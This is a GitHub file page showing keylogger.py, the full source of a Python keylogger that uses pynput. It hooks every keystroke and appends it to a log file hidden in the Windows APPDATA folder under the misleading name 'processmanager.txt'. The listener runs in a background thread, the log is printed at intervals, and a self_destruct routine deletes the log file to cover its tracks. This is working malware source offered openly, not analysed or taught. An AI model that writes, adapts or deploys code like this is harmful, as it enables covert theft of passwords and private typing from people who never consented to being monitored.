-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
62 lines (56 loc) · 1.68 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import os
from pynput.keyboard import Listener
import time
import threading
class Keylogger():
keys=[]
count=0
flag=0
path = os.environ['appdata'] + '\\processmanager.txt'
#path = '/root/processmanager.txt'
def on_press(self, key):
self.keys.append(key)
self.count += 1
if self.count >= 1:
self.count = 0
self.write_file(self.keys)
self.keys = []
def read_logs(self):
with open(self.path, 'rt') as f:
return f.read()
def write_file(self, keys):
with open(self.path, 'a') as f:
for key in keys:
k= str(key).replace("'","")
if k.find('backspace')>0:
f.write(' Backspace ')
elif k.find('enter')>0:
f.write('\n')
elif k.find('shift')>0:
f.write(' Shift ')
elif k.find('space')>0:
f.write(' ')
elif k.find('caps_lock')>0:
f.write(' caps_lock ')
elif k.find('ctrl')>0:
f.write(' CTRL ')
elif k.find('key'):
f.write(k)
def start(self):
global listener
with Listener(on_press=self.on_press) as listener:
listener.join()
def self_destruct(self):
self.flag=1
listener.stop()
os.remove(self.path)
if __name__=='__main__':
keylog=Keylogger()
t= threading.Thread(target=keylog.start)
t.start()
while keylog.flag!=1:
time.sleep(10)
logs=keylog.read_logs()
print(logs)
keylog.self_destruct()
t.join()